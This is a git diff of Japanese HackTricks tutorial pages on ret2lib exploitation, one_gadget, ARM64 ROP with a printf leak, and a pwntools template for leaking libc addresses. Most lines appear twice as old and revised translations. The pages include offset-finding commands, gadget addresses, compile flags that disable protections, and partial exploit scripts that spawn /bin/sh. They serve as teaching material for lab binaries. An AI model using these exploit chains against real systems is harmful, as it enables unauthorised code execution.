**system**、**execve**、**strcpy**)にリダイレクトすることです。攻撃者は、ペイロードを作成し、スタック上の戻りアドレスを望ましいライブラリ関数を指すように変更し、同時に呼び出し規約に従って必要な引数が正しく設定されるように配置します。 ### **手順の例(簡略化)** -* 呼び出す関数(たとえばsystem)のアドレスと呼び出すコマンド(たとえば/bin/sh)を取得する -* 最初の引数をコマンド文字列を指すように渡し、関数に実行フローを渡すためのROPチェーンを生成する +* 呼び出す関数(たとえば system)のアドレスと呼び出すコマンド(たとえば /bin/sh)を取得する +* 最初の引数をコマンド文字列を指すようにし、関数への実行フローを渡すためのROPチェーンを生成する ## アドレスの検索 -* 現在のマシンで使用されている`libc`がどこにメモリにロードされるかを見つけるには、次のコードを使用します: +* 現在のマシンで使用されている `libc` がどこにメモリにロードされるかを見つけるには: {% code overflow="wrap" %} ```bash @@ -37,11 +37,11 @@ ASLRがlibcのアドレスを変更しているかどうかを確認したい場 ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` -* 使用されているlibcを知っている場合、`system`関数へのオフセットを見つけることも可能です: +* 使用されているlibcを知っていると、`system`関数へのオフセットを見つけることも可能です: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` -* 使用されているlibcを知っていると、文字列 `/bin/sh` 関数へのオフセットを見つけることも可能です: +* 使用されているlibcを知っている場合、文字列 `/bin/sh` 関数へのオフセットを見つけることも可能です: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` @@ -55,17 +55,17 @@ find "/bin/sh" ``` ### /proc/\/mapsを使用する -プロセスが**毎回子プロセスを作成**している場合(ネットワークサーバーの場合)、そのファイルを**読み取ろう**(おそらくroot権限が必要になるでしょう)。 +プロセスが**子プロセス**を作成している場合(ネットワークサーバーなど)、そのファイルを**読み取ろう**としてみてください(おそらくroot権限が必要になるかもしれません)。 -ここで、プロセス内で**libcが正確にどこにロードされているか**、およびプロセスの**各子プロセスにどこにロードされるか**を見つけることができます。 +ここで、プロセス内で**libcがロードされている場所**と、プロセスの**各子プロセスにロードされる場所**を正確に見つけることができます。 -![](<../../../.gitbook/assets/image (850).png>) +![](<../../../.gitbook/assets/image (853).png>) この場合、**0xb75dc000**にロードされています(これがlibcのベースアドレスになります) ## 未知のlibc -バイナリがロードしている**libcがわからない**可能性があります(アクセス権限がないサーバーに配置されている可能性があるため)。その場合、脆弱性を悪用して**いくつかのアドレスを漏洩させ、どのlibcライブラリが使用されているか**を見つけることができます: +バイナリがロードしている**libcがわからない**可能性があります(アクセス権限がないサーバーにあるかもしれません)。その場合、脆弱性を悪用して**いくつかのアドレスを漏洩させ、どのlibcライブラリが使用されているか**を見つけることができます: {% content-ref url="rop-leaking-libc-address/" %} [rop-leaking-libc-address](rop-leaking-libc-address/) @@ -79,21 +79,21 @@ find "/bin/sh" ### 2つのオフセットでlibcを知る -[https://libc.blukat.me/](https://libc.blukat.me/)をチェックし、libc内の関数の**いくつかのアドレス**を使用して**使用されているバージョン**を特定します。 +[https://libc.blukat.me/](https://libc.blukat.me/)をチェックし、libc内の関数の**いくつかのアドレス**を使用して、**使用されているバージョン**を特定します。 -## 32ビットでASLRをバイパスする +## 32ビットでのASLR回避 これらのブルートフォース攻撃は**32ビットシステムにのみ有用**です。 -- 攻撃がローカルの場合、libcのベースアドレスをブルートフォースすることができます(32ビットシステムに有用): +* 攻撃がローカルの場合、libcのベースアドレスをブルートフォースしてみることができます(32ビットシステムに有用): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -* リモートサーバーを攻撃する場合、`libc`関数`usleep`のアドレスを**10**(例えば)として**ブルートフォース**してみることができます。サーバーが**10秒余分に応答する**ようになったら、この関数のアドレスを見つけました。 +* リモートサーバーを攻撃する場合、`libc`関数`usleep`のアドレスを**10**(例)として試行することができます。サーバーが**10秒余分に応答する**ようになったら、この関数のアドレスを見つけました。 -## One Gadget +## ワンガジェット -**libc**内の**特定のアドレス**にジャンプしてシェルを実行する: +`libc`内の**特定のアドレス**にジャンプしてシェルを実行します: {% content-ref url="one-gadget.md" %} [one-gadget.md](one-gadget.md) @@ -139,11 +139,11 @@ ARM64の場合、ret 命令は x30 レジスタが指す場所にジャンプし ## Ret-into-printf (またはputs) -これにより、`printf`/`puts` を呼び出して特定のデータを引数として渡すことで、プロセスから情報を**漏洩**させることができます。たとえば、`puts` のGOT内のアドレスを `puts` の実行に置くことで、メモリ内の `puts` のアドレスを**漏洩**させることができます。 +これにより、`printf`/`puts` を呼び出すことで、特定のデータを引数として渡すことで、プロセスから情報を**漏洩**させることができます。たとえば、`puts` のGOT内のアドレスを `puts` の実行に置くことで、メモリ内の `puts` のアドレスを**漏洩**させることができます。 ## Ret2printf -これは基本的に、`ret2lib` を悪用して `printf` フォーマット文字列の脆弱性に変換することを意味します。`ret2lib` を使用して、それを悪用するための値を渡して `printf` を呼び出します(無駄に聞こえるかもしれませんが、可能です): +これは、`ret2lib` を悪用して `printf` フォーマット文字列の脆弱性に変換することを意味します。`ret2lib` を使用して、その値を使用して `printf` を呼び出し、それを悪用することが可能です(無駄に聞こえるかもしれませんが、可能です): {% content-ref url="../../format-strings/" %} [format-strings](../../format-strings/) @@ -154,12 +154,12 @@ ARM64の場合、ret 命令は x30 レジスタが指す場所にジャンプし * [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) * Ret2lib、libc内の関数のアドレスを漏洩させ、ワンガジェットを使用する * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) -* 64ビット、ASLR有効、PIEなし、最初のステップはキャナリのバイト0x00までオーバーフローを埋め、その後putsを呼び出して漏洩させる。キャナリを使用して、GOT内のputsのアドレスを漏洩させるためのROPガジェットが作成され、`system('/bin/sh')`を呼び出すためのROPガジェットが作成されます。 +* 64ビット、ASLR有効、PIEなし、最初のステップは、canaryのバイト0x00までオーバーフローを埋め、その後putsを呼び出して漏洩させる。canaryを使用して、putsのアドレスをGOTから漏洩させ、`system('/bin/sh')` を呼び出すためのROPガジェットを作成します。 * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) -* 64ビット、ASLR有効、キャナリなし、メイン関数内のスタックオーバーフロー。putsを呼び出してGOT内のputsのアドレスを漏洩させ、その後ワンガジェットを呼び出します。 +* 64ビット、ASLR有効、canaryなし、メイン関数内のスタックオーバーフローからの子関数。putsを呼び出して、GOTからputsのアドレスを漏洩させ、その後ワンガジェットを呼び出します。 * [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html) -* 64ビット、PIEなし、キャナリなし、relroなし、nx。write関数を使用してwrite(libc)のアドレスを漏洩させ、ワンガジェットを呼び出します。 +* 64ビット、PIEなし、canaryなし、relroなし、nx。write関数を使用して、write(libc)のアドレスを漏洩させ、ワンガジェットを呼び出します。 * [https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/asis17\_marymorton/index.html) -* スタックからキャナリを漏洩させるためにフォーマット文字列を使用し、システムにアドレス`/bin/sh`を渡してバッファオーバーフローを行います。 +* スタックからcanaryを漏洩させるためにフォーマット文字列を使用し、システムに呼び出し、`/bin/sh` のアドレスを持つGOTにアドレスを渡します。 * [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html) -* 32ビット、relroなし、キャナリなし、nx、pie。スタックからlibcとヒープのアドレスを漏洩させるために悪いインデックスを悪用します。バッファオーバーフローを悪用して、`system('/bin/sh')`を呼び出すret2libを行います(ヒープのアドレスがチェックをバイパスするために必要です)。 +* 32ビット、relroなし、canaryなし、nx、pie。スタックからlibcとヒープのアドレスを漏洩するために悪いインデックスを悪用します。バッファオーバーフローを悪用して、`system('/bin/sh')` を呼び出すret2libを実行します(チェックをバイパスするためにヒープアドレスが必要です)。 diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index 099a59f4f..809bbf195 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -2,22 +2,22 @@ -htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ! +htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。** -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。 +* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 ## 基本情報 -[**One Gadget**](https://github.com/david942j/one\_gadget) は、**system** や **"/bin/sh"** を使用せずにシェルを取得することを可能にします。**One Gadget** は、libcライブラリ内でシェル (`execve("/bin/sh")`) を取得する方法を見つけ、たった1つの **アドレス** を使用します。\ -ただし、通常、いくつかの制約があります。最も一般的で回避が容易なものは、 `[rsp+0x30] == NULL` のようなものです。**RSP** 内の値を制御できるため、さらにいくつかのNULL値を送信して制約を回避すればよいです。 +[**One Gadget**](https://github.com/david942j/one\_gadget) は、**system**や**"/bin/sh"**を使用せずにシェルを取得することを可能にします。**One Gadget** は、libcライブラリ内でシェル(`execve("/bin/sh")`)を取得する方法を見つけ、たった1つの**アドレス**だけを使用します。\ +ただし、通常、いくつかの制約があります。最も一般的で回避が容易なものは、`[rsp+0x30] == NULL`のようなものです。**RSP**内の値を制御できるため、さらにいくつかのNULL値を送信して制約を回避すればよいです。 ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 @@ -25,12 +25,12 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100 One Gadget が示すアドレスには、`libc` がロードされているベースアドレスを**追加する必要があります**。 {% hint style="success" %} -One Gadget は、**任意の書き込みを実行するための素晴らしい支援**であり、ROP チェーンを**簡素化**するかもしれません。必要なのは1つのアドレスを呼び出すだけです。 +One Gadget は、**任意の書き込みを実行するテクニックに大きな助け**となり、**ROP チェーンを単純化**することができます。必要なのは1つのアドレスを呼び出すだけです。 {% endhint %} ### ARM64 -github リポジトリによると、**ARM64 がサポートされている**とされていますが、Kali 2023.3 の libc で実行すると、**ガジェットが見つかりません**。 +github リポジトリによると、**ARM64 がサポート**されていますが、Kali 2023.3 の libc で実行すると、**ガジェットが見つかりません**。 ## Angry Gadget @@ -42,14 +42,14 @@ angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ``` -htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! +htARTE(HackTricks AWS Red Team Expert)を使用して、ゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する +- ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index 8f5b89357..3002887b9 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -2,15 +2,15 @@ -ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。 -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** @@ -31,7 +31,7 @@ printfleak(); bof(); } ``` -キャナリなしでコンパイル: +コンパイル時にキャナリアを無効にする: ```bash clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector # Disable aslr @@ -41,29 +41,29 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ### x30 オフセット -**`pattern create 200`** を使用してパターンを作成し、それを使用して **`pattern search $x30`** でオフセットをチェックすると、オフセットが **`108`** (0x6c) であることがわかります。 +**`pattern create 200`** を使用してパターンを作成し、それを使用して **`pattern search $x30`** でオフセットを確認すると、オフセットは **`108`** (0x6c) であることがわかります。 - + -メイン関数のディスアセンブルを見ると、バイナリがロードされた場所から **`printf`** に直接ジャンプする命令に **ジャンプ** したいということがわかります。`printf` までのオフセットは **`0x860`** です。 +メイン関数のディスアセンブルを見ると、バイナリがロードされた場所から **`printf`** に直接ジャンプする命令に **ジャンプ** したいということがわかります。`0x860` です。 - + ### system と `/bin/sh` 文字列を見つける ASLR が無効になっているため、アドレスは常に同じになります。 - + ### ガジェットを見つける **`x0`** に文字列 **`/bin/sh`** のアドレスを入れ、**`system`** を呼び出す必要があります。 -rooper を使用して、興味深いガジェットが見つかりました: +Rooper を使用して興味深いガジェットが見つかりました: ``` 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; ``` -このガジェットは、`$sp + 0x18` から `x0` をロードし、次に x29 と x30 のアドレスを sp からロードして x30 にジャンプします。したがって、このガジェットを使用して**最初の引数を制御し、system にジャンプ**することができます。 +このガジェットは、`$sp + 0x18` から `x0` をロードし、次に x29 と x30 のアドレスを sp からロードして x30 にジャンプします。したがって、このガジェットを使用して**最初の引数を制御し、その後 system にジャンプ**することができます。 ### Exploit ```python @@ -121,30 +121,30 @@ bof(); } ``` -**キャナリアなしでコンパイルする:** +**キャナリアなしでコンパイル**: ```bash clang -o rop rop.c -fno-stack-protector -Wno-format-security ``` ### PIEとASLRが有効だが、キャナリは無効 * ラウンド1: - * スタックからPIEのリーク - * バッファオーバーフローを悪用してmainに戻る +* スタックからPIEのリーク +* バッファオーバーフローを悪用してmainに戻る * ラウンド2: - * スタックからlibcのリーク - * ROP: ret2system +* スタックからlibcのリーク +* ROP: ret2system ### Printfリーク printfを呼び出す前にブレークポイントを設定すると、スタックにバイナリに戻るアドレスとlibcのアドレスがあることがわかります: - + 異なるオフセットを試すと、**`%21$p`** はバイナリアドレスをリークでき(PIEバイパス)、**`%25$p`** はlibcアドレスをリークできます: - + -リークしたlibcアドレスからlibcのベースアドレスを引くと、**リークしたアドレスのオフセットは`0x49c40`**であることがわかります。 +リークしたlibcアドレスからlibcのベースアドレスを引くと、**リークしたアドレスのベースからのオフセットは `0x49c40` であることがわかります。** ### x30オフセット @@ -158,7 +158,9 @@ rooperを使用して、別の興味深いガジェットが見つかりまし ``` 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; ``` -### 攻撃手法 +このガジェットは、`$sp + 0x78` から `x0` をロードし、次に `sp` からアドレス x29 と x30 をロードして x30 にジャンプします。したがって、このガジェットを使用して**最初の引数を制御し、その後 system にジャンプ**することができます。 + +### Exploit ```python from pwn import * from time import sleep @@ -210,14 +212,14 @@ p.interactive() ``` -AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリ。 diff --git a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index 9eb809751..982acff11 100644 --- a/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -6,19 +6,19 @@ HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 -- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 ## クイックリサーム 1. **オーバーフローのオフセット**を見つける -2. `POP_RDI`ガジェット、`PUTS_PLT`、`MAIN`ガジェットを**見つける** -3. 前述のガジェットを使用して、putsまたは他のlibc関数のメモリアドレスを**リーク**し、**libcバージョンを見つける**([ダウンロード](https://libc.blukat.me)) +2. `POP_RDI` ガジェット、`PUTS_PLT`、`MAIN` ガジェットを**見つける** +3. 前述のガジェットを使用して、putsや他のlibc関数のメモリアドレスを**リーク**し、**libcバージョンを見つける**([ダウンロード](https://libc.blukat.me)) 4. ライブラリを使用して、ROPを計算し、それを悪用する ## 他のチュートリアルと練習用のバイナリ @@ -44,7 +44,7 @@ return 0; ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` -## ROP - LIBCアドレスの漏洩テンプレート +## ROP - LIBCアドレス漏洩テンプレート エクスプロイトをダウンロードし、脆弱性のあるバイナリと同じディレクトリに配置し、スクリプトに必要なデータを提供します: @@ -54,7 +54,7 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie ## 1- オフセットの検索 -テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供されていない場合、必要なコードを実行してオフセットを見つけます(デフォルトでは `OFFSET = ""`)。 +テンプレートは、エクスプロイトを続行する前にオフセットが必要です。提供されている場合、必要なコードを実行してそれを見つけます(デフォルトでは `OFFSET = ""`)。 ```bash ################### ### Find offset ### @@ -69,21 +69,21 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**実行** `python template.py` とすると、プログラムがクラッシュした状態で **GDBコンソール** が開かれます。その **GDBコンソール** 内で `x/wx $rsp` を実行して、RIP を上書きするバイト列を取得します。最後に、**Pythonコンソール**を使用して **オフセット** を取得します: +**実行** `python template.py` とすると、プログラムがクラッシュした状態で **GDBコンソール** が開かれます。その **GDBコンソール** 内で `x/wx $rsp` を実行して、RIP を上書きするバイト列を取得します。最後に、**pythonコンソール**を使用して **オフセット** を取得します: ```python from pwn import * cyclic_find(0x6161616b) ``` -![](<../../../../.gitbook/assets/image (1004).png>) +![](<../../../../.gitbook/assets/image (1007).png>) -オフセット(この場合は40)を見つけた後、その値を使用してテンプレート内のOFFSET変数を変更します。\ +オフセット(この場合は40)を見つけた後は、その値を使ってテンプレート内のOFFSET変数を変更します。\ `OFFSET = "A" * 40` 別の方法は、GEFから `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` を使用することです。 ## 2- ガジェットの検索 -次に、バイナリ内でROPガジェットを見つける必要があります。これらのROPガジェットは、**libc**を見つけるために`puts`を呼び出し、後で**最終的なエクスプロイトを起動**するのに役立ちます。 +次に、バイナリ内のROPガジェットを見つける必要があります。これらのROPガジェットは、**使用されているlibcを見つけるためにputsを呼び出し、後で** **最終的なエクスプロイトを起動する**のに役立ちます。 ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -95,14 +95,14 @@ log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` `PUTS_PLT`を呼び出すためには、**puts関数**を呼び出す必要があります。\ -`MAIN_PLT`は、**オーバーフローを再度**利用するために、1回のやり取り後に**main関数**を再度呼び出すために必要です(無限の利用ラウンド)。**各ROPの最後にプログラムを再度呼び出すために使用されます**。\ +`MAIN_PLT`は、**オーバーフローを再度**利用するために、1回のインタラクション後に**main関数**を再度呼び出すために必要です(無限の利用ラウンド)。 **各ROPの最後にプログラムを再度呼び出すために使用されます**。\ **POP\_RDI**は、呼び出される関数に**パラメータ**を**渡す**ために必要です。 このステップでは、実行する必要はありません。すべては実行中にpwntoolsによって見つけられます。 ## 3- libcライブラリの検索 -今度は、使用されている**libc**ライブラリのバージョンを見つける時です。これを行うために、**puts**関数の**メモリ内のアドレス**を**リーク**し、その後そのアドレスにあるputsバージョンがどの**ライブラリバージョン**にあるかを**検索**します。 +今は、使用されている**libc**ライブラリのバージョンを見つける時です。そのために、**puts**関数のメモリ内の**アドレス**を**リーク**し、その後そのアドレスにあるputsバージョンがどの**ライブラリバージョン**にあるかを**検索**します。 ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -131,18 +131,18 @@ if libc == "": print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") p.interactive() ``` -以下は、実行されたコードの中で最も重要な行です: +それを行うために、実行されるコードの中で最も重要な行は次のとおりです: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` これにより、**RIP** を**上書き**するまでのいくつかのバイトが送信されます: `OFFSET`。\ -次に、ガジェット `POP_RDI` の**アドレス**が設定され、次のアドレス (`FUNC_GOT`) が**RDI** レジスタに保存されます。これは、`PUTS_GOT` の**アドレス**を**puts 関数のメモリ内のアドレス**として渡すために puts を**呼び出したい**ためです。\ -その後、`PUTS_PLT` が呼び出され(**RDI** に `PUTS_GOT` が含まれています)、puts は`PUTS_GOT` 内の**内容**(**puts 関数のメモリ内のアドレス**)を**読み取り**、それを**出力**します。\ -最後に、**main 関数が再度呼び出され**、オーバーフローを再度利用できます。 +次に、ガジェット `POP_RDI` の**アドレス**が設定され、次のアドレス (`FUNC_GOT`) が**RDI** レジスタに保存されます。これは、`PUTS_GOT` の**アドレス**をメモリ内の puts 関数のアドレスが `PUTS_GOT` によって指し示されるアドレスとして**渡して puts を呼び出したい**ためです。\ +その後、`PUTS_PLT` が呼び出されます(**RDI** に `PUTS_GOT` が含まれています)ので、puts は `PUTS_GOT` 内の**内容**(**メモリ内の puts 関数のアドレス**)を**読み取り**、それを**出力**します。\ +最後に、**main 関数が再度呼び出され**、オーバーフローを再度悪用できます。 この方法で、puts 関数を**だまして**、**puts** 関数の**メモリ内のアドレス**(**libc** ライブラリ内にある)を**出力**させました。そのアドレスがわかったので、**使用されている libc のバージョンを調べる**ことができます。 -![](<../../../../.gitbook/assets/image (1046).png>) +![](<../../../../.gitbook/assets/image (1049).png>) **ローカル**バイナリを**悪用**しているため、**使用されている libc のバージョンを特定する必要はありません**(単に `/lib/x86_64-linux-gnu/libc.so.6` でライブラリを見つければよい)。\ ただし、リモートエクスプロイトの場合は、次に説明する方法で見つけることができます: @@ -152,11 +152,11 @@ rop1 